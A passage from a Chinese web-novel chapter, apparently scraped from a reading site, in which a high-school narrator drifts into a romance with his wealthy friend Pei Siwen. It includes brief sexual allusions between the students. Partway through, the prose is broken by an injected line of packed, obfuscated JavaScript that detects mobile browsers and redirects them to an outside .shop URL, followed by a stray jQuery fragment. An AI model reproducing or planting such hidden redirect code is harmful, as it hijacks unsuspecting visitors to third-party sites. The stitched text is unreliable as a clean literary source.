我一直不太清楚裴斯文在干什么。
问就是合情合理合法。
但实在是暴利。
也有可能这个行业本身利润不高,因为裴斯文加入了,他才能赚得到那么多的钱。
他一般不把工作的事情带到家里,但也难免有迫不得已的时候,他并不避讳我,但我很自觉地不看、不打听、不关注,裴斯文竟然不怎么高兴。
他有一次一边敲键盘一边问我:“离我那么远做什么?”
我想了想,回了句:“瓜田李下。”
他反问我:“我们不是一家人么?”
“就算是亲兄弟,也要明算账的吧,”我已经预感到了这个话题的危险性,因而每一句都回答得非常谨慎,“我知道你相信我,我同样也相信你,但我很珍惜我们之间的关系,裴斯文,我不敢赌。”
裴斯文有一双丹凤眼,抬眼看人的时候,多情却也凌厉。
“说到底,你还是不够相信我。”
“我们认识的时间还是太短了,”我没否认他的话,直接顺着他的话说下了去,“倘若我们相识了几十年,那你的秘密就不是秘密,但我们刚认识几年,我想长久地和你在一起,就不能大大咧咧、没有分寸、什么都要知道、什么都想掺上一脚,你或许能容忍我几次,但人的耐心是有限的,我不敢赌人性的。”
裴斯文合上了笔记本电脑,他用指腹揉了揉自己的眉心,说:“你是不一样的,不必谨慎到这个地步。”
我耸了耸肩,回他:“我很在意你。”
或许是这句话契合了他情绪上的某一个点,他总算决定换个话题,不继续绕着这件事打转。
然而换了的话题依旧很危险。
“听说,有人在追你?”
“是啊。”我大大方方地承认了。
裴斯文要搞事业,自然是要请假的,我们一周大概在一起三四天,剩下的三四天,我算是“自由了”。
当然,我并不缺朋友,但那些朋友并不能、也不会管我,我的周围自然变得“有机可乘”,也会有人给我塞情书、甚至向我表白。
这么说好像有点自恋,但我长得还不错,和裴斯文是并列的校草,只是他是创一代富裕版校草,我是创一代好友贫穷版校草。
裴斯文说过很多次他的钱有我一半,这话我不反驳,但心里没承认过。
他赚的钱总归是他的,我自己赚的钱才是我自己的,他把新买的房子加了我的名字、我推辞不得,于是也把我的老房子加了他的名字,我知道二者的价值不能同日而语,但我尽力找补吧。
就是,有时候我觉得裴斯文太过天真。
我们现在能如此亲密无间,能不把钱当钱,但总有一天会变的,会变得更加成熟、稳重、像个大人一样。
我希望到那个时候,到裴斯文有金钱独立的概念的时候,我能做到体面地切割出去,而不是被人背后戳脊梁骨、被扣上贪恋他财富的帽子。
好吧,话题扯远了,扯回来。
虽然我并不富裕、比较贫穷,也强调过我和裴斯文并不存在亲属关系,只是同住在一起的朋友。
但或许是因为我长得不错、成绩不错、性格也不错,还是会有人暗恋甚至明恋的。
裴斯文在的时候,或许是希望我将全部的心神放在学业上,看我极紧,又时不时地警告一番周围人,我身边自然没什么桃花。
裴斯文“松懈”下来了,很多人就有机会了,我也收到了有生以来的第一封情书、第一份告白,然后我就很体面、很委婉地拒绝了。
拒绝了第一次,就有第二次,这事我没跟裴斯文提过,但也不难猜他是怎么知道的——或许是我们共同的朋友们通风报信了吧。
说来也奇怪,我们共同的朋友们总爱将我和裴斯文凑成一对,有胆子大的,还会悄悄问我,我们发展到什么程度了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711327|208441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我总会莫名其妙地反问回去:“什么意思?”
一开始我是真不明白他们是什么意思,后来经历了一起看X片,但裴斯文看着我内啥之后,我就大概能猜到什么意思了。
情侣之间嘛,牵牵手、接接吻、内啥内啥。
其实应该否认的。
但第一次想否认的时候,对上了裴斯文盯着我看的眼神,到嘴边的否认,竟然就这么咽了下去,变成了默认。
我那时候就想,裴斯文是这么个情况,如果他真的想和我发展下去,那我应该是不会拒绝的。
倒不是因为我喜欢他,而是和他在一起真的很不错,我们知根知底、性情相投,如果能相伴到老的话,会是很幸福的一生。
我既然没有喜欢的人,也没有固定的性取向,那自然是可以选择他的,感情可以慢慢培养,大不了走“先婚后爱”的道路,我认准了他这个人,就不想拒绝他了。
这种事,第一次没反驳、默认了,后续就都被默认了。
有时候,朋友们还会塞给我一些“学习资料”,让我认真学习一下,我一般都是看都不看、直接转给裴斯文。
裴斯文看不看我倒是不清楚,他只是问我:“你想做什么角色?”
我一开始没反应过来,后来对上他的眼神,才反应过来,下意识地问:“你呢?”
“都行,看你。”
“看我什么?”
“你先选。”
“……”我的脸爆炸红了,“等高考之后吧。”
“哦。”
“不对,我感觉好像错过了很多步骤。”
“是的。”
“你……”
裴斯文用手背摸了摸我的脸颊,眼神很专注,像是在盯一个只属于他自己的宝藏。
“我所有的一切都属于你,但你要属于我。”
“……换一句。”
“余晚晖,我爱上你了。”